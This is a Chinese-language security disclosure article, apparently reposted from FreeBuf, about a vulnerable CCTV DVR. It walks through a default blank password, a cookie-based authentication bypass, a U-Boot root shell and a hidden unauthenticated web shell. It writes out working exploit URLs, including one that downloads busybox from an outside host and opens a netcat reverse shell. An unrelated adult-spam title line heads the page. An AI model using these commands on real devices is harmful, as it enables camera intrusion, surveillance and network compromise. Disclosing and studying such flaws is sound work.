自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

閉路電視探頭究竟有多不安全?

安全 終端安全
閉路電視探頭在我們的生活中無所不在。最近的調(diào)查估計(jì)全英國大概有185萬的監(jiān)控?cái)z像頭,大部分都在私人住宅。大部分的探頭都會連接到某些錄像設(shè)備,也就是數(shù)字錄像機(jī)(DVR)。

閉路電視探頭在我們的生活中無所不在。最近的調(diào)查估計(jì)全英國大概有185萬的監(jiān)控?cái)z像頭,大部分都在私人住宅。大部分的探頭都會連接到某些錄像設(shè)備,也就是數(shù)字錄像機(jī)(DVR)。

閉路電視探頭究竟有多不安全?

DVR會把多個(gè)攝像頭的錄像儲存到一個(gè)硬盤上。它們不僅能夠在屏幕上顯示圖片,大部分還能聯(lián)網(wǎng),用戶可以通過瀏覽器或者客戶端來連接。

當(dāng)然商家和戶主都會想要遠(yuǎn)程進(jìn)入DVR,DVR設(shè)備通過端口轉(zhuǎn)發(fā)連接到互聯(lián)網(wǎng),也正因?yàn)槿绱耍覀兛梢栽赟hodan上找到大量的DVR設(shè)備。

所以我們打算買個(gè)廉價(jià)的DVR,看看還會不會有更加糟糕的情況。

閉路電視探頭究竟有多不安全?

 

經(jīng)過幾小時(shí)的挖掘我們便發(fā)現(xiàn)了以下的問題:

容易被找到

這款DVR會運(yùn)行一個(gè)客戶web服務(wù)器,它的HTTP服務(wù)器頭很具標(biāo)志性:“JAWS/1.0”。在Shodan上搜索這個(gè)關(guān)鍵字我們找到44,000個(gè)設(shè)備。

閉路電視探頭究竟有多不安全?

 

弱口令問題

默認(rèn)情況下,這款設(shè)備的用戶名是admin,密碼為空。

閉路電視探頭究竟有多不安全?

 

連接電視后使用DVR的本地界面就可以更改密碼。但設(shè)備中沒有鍵盤,所以可以肯定大量的這款DVR使用的是默認(rèn)密碼。

雖然弱口令已經(jīng)是老掉牙的問題了,但是還是物聯(lián)網(wǎng)領(lǐng)域中普遍的問題。

Web驗(yàn)證繞過

首次訪問DVR的時(shí)候顯示的是index.html頁面,這個(gè)頁面可以讓你輸入用戶名密碼,驗(yàn)證成功后,你就會被重定向到view2.html。

奇怪的是,當(dāng)我們清空cookies,訪問view2.html時(shí),我們看到頁面渲染了一下,然后再把我們重定向到index.html讓我們輸密碼。

這基本上就是JavaScript客戶端驗(yàn)證的標(biāo)志了。檢查view2.js,我們發(fā)現(xiàn)是這樣的:

  1. $(document).ready(function(){  
  2. dvr_camcnt =Cookies.get(“dvr_camcnt");  
  3. dvr_usr =Cookies.get("dvr_usr");  
  4. dvr_pwd =Cookies.get("dvr_pwd");  
  5. if(dvr_camcnt ==null || dvr_usr == null || dvr_pwd == null)  
  6. {  
  7. location.href= "/index.html";  
  8. }  
  9.  

只要這三個(gè)cookie有任意值,你就可以訪問了(dvr_camcnt得是2、4、8或24)。

 

手動(dòng)設(shè)置這些cookie我們就能訪問了。也就是說,我們無需知道用戶名密碼。

閉路電視探頭究竟有多不安全?

 

打開串號控制臺

雖然拿到Web界面控制已經(jīng)很好玩了,但我還要root shell。

打開機(jī)器上面的蓋子之后,我們發(fā)現(xiàn)了J18。這是個(gè)115200串口,雖然我能看到輸出,但是沒有shell,也沒地方輸入。

重啟設(shè)備后我們發(fā)現(xiàn)它使用的是uboot,這是一款非常常見的開源boot loader。按任意鍵就能中斷uboot。不過你只有一秒鐘中斷uboot,所以可能得多嘗試幾次。

我們現(xiàn)在就進(jìn)入了uboot控制臺。我們可以修改啟動(dòng)參數(shù),改為單用戶模式,我們就無需密碼登陸了。

setenv bootargs ${bootargs) single
boot

現(xiàn)在DVR就進(jìn)入了單用戶模式,我們也有了root shell,我們可以做點(diǎn)猥瑣的事了。

內(nèi)置web shell

本地root shell不錯(cuò),但我還想要遠(yuǎn)程shell。

查看固件后我們發(fā)現(xiàn),大部分的功能都是在dvr_app里面的,包括web服務(wù)器。盡管web界面中有cgi-bin目錄,但我在文件服務(wù)器上沒找到這個(gè)目錄,有可能dvr_app在內(nèi)部處理了這個(gè)目錄。這樣的情況在嵌入設(shè)備中非常普遍。

對這個(gè)二進(jìn)制文件使用strings命令,就能看到cgi-bin了。而且我們還看到了其他的值,包括moo和shell。

閉路電視探頭究竟有多不安全?

 

訪問moo目錄是這么個(gè)情況:

閉路電視探頭究竟有多不安全?

 

訪問shell目錄會一直加載,但訪問shell?ps時(shí)就能看到進(jìn)程列表了:

閉路電視探頭究竟有多不安全?

 

因此我們就拿到了一個(gè)遠(yuǎn)程,并且無需認(rèn)證的shell,這個(gè)shell無法禁止,是設(shè)備里面自帶的。

無需密碼登錄Telnet

設(shè)備在23端口運(yùn)行telnet,但需要root密碼。即使我們能夠看到/etc/passwd和解密hash,我們還是拿不到密碼。

閉路電視探頭究竟有多不安全?

 

我們通過密碼破解器看看能不能拿到密碼,但這要花點(diǎn)時(shí)間。

為了解決這個(gè)問題,我們使用遠(yuǎn)程web shell開啟一個(gè)新的已經(jīng)登錄的telnet daemon:

http://192.168.3.101/shell?/usr/sbin/telnetd -l/bin/sh -p 25

現(xiàn)在我們可以登錄telnet了。

閉路電視探頭究竟有多不安全?

 

反彈shell

攻擊者可以用反彈shell讓DVR反向連接到他所控制的主機(jī)。只要用戶有出口連接,這招就很管用,這是繞過NAT和防火墻的好辦法。家庭企業(yè)和小型企業(yè)網(wǎng)絡(luò)大多不會進(jìn)行出站的過濾。

一般我們會用netcat建立反彈shell。跟其他小型嵌入式設(shè)備一樣,這款DVR使用busybox來提供發(fā)亮的shell功能。這些命令是任意的。很遺憾netcat不能用,但我們可以解決。

DVR使用的是ARM處理器。也就是說基本上不可能直接下載netcat或busybox了,我們得進(jìn)行編譯。

為嵌入式系統(tǒng)進(jìn)行編譯很尷尬的,尤其是你得要跟硬件交互的時(shí)候。還好busybox和netcat的要求不多。我們只需要為架構(gòu)創(chuàng)建靜態(tài)鏈接二進(jìn)制。這個(gè)得是要靜態(tài)鏈接的,這樣就能避免對庫的依賴。這樣會使二進(jìn)制文件變大,不過這款設(shè)備上沒有磁盤空間挺寬裕。

編譯完成后我們就拿到DVR上試試。

找一個(gè)可寫目錄。大部分的文件系統(tǒng)都是只讀的,你甚至無法更改密碼添加用戶。這畢竟是個(gè)DVR,所以我們弄了個(gè)硬盤,加載在/root/rec/a1下。

用wget下載編譯的busybox二進(jìn)制到這個(gè)目錄

把busybox設(shè)為可執(zhí)行

運(yùn)行netcat反彈shell

命令如下:

http://192.168.3.101/shell?cd /root/rec/a1 && wget%68%74%74%70%3a%2f%2f%32%31%32%2e%31%31%31%2e%34%33%2e%31%36%31%2f%62%75%73%79%62%6f%78%20 && chmod %2bx busybox&& ./busybox nc 1.2.3.4 8000 -e /bin/sh -e /bin/sh

Wget的網(wǎng)址得要經(jīng)過編碼,實(shí)際的網(wǎng)址是:

http://1.2.3.4/busybox

我們服務(wù)器上的netcat就監(jiān)聽到一個(gè)連接了,通過訪問構(gòu)造好的URL我們就可以與DVR進(jìn)行交互了。

閉路電視探頭究竟有多不安全?

 

發(fā)送截屏至硬編碼的郵箱

進(jìn)一步檢查dvr_app二進(jìn)制,我們發(fā)現(xiàn)了一些很奇怪的功能。

閉路電視探頭究竟有多不安全?

 

不知道為何,第一個(gè)攝像頭的截屏?xí)话l(fā)送到lawishere@yeah.net。

發(fā)送DVR截屏的行為嚴(yán)重威脅到了隱私。

而且奇怪的是,有人曾經(jīng)在Frank Law的GitHub頁面上報(bào)告過這一情況:

https://web.archive.org/web/20151010191622/https://github.com/lawishere/JUAN-Device/issues/1

然后他撤下了這個(gè)項(xiàng)目。

其他問題

事情到此并沒有完全結(jié)束。這款設(shè)備還有其他的問題:

如果你通過web服務(wù)器獲得了shell或者命令注入,你就沒必要提權(quán)了,你已經(jīng)是root了。

這款設(shè)備沒有CSRF保護(hù),你可以誘騙用戶點(diǎn)擊鏈接,就能以他們的身份執(zhí)行動(dòng)作。

沒有帳號鎖定或者防爆破措施。你可以一直猜密碼下去,唯一的限制頻率的就是設(shè)備本身的運(yùn)行速度。

沒有HTTPS。所有通信都是以明文方式發(fā)送,可以被攔截,可以被篡改。

沒有固件升級

我們的建議

把這些設(shè)備放到互聯(lián)網(wǎng)上,你就會面臨嚴(yán)重的安全風(fēng)險(xiǎn)。如果你把web界面端口轉(zhuǎn)發(fā),你就等于讓攻擊者完全控制這個(gè)設(shè)備。然后他們還可以以此作為跳板從內(nèi)部攻擊你網(wǎng)絡(luò)中的其他設(shè)備。

責(zé)任編輯:藍(lán)雨淚 來源: FreeBuf
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號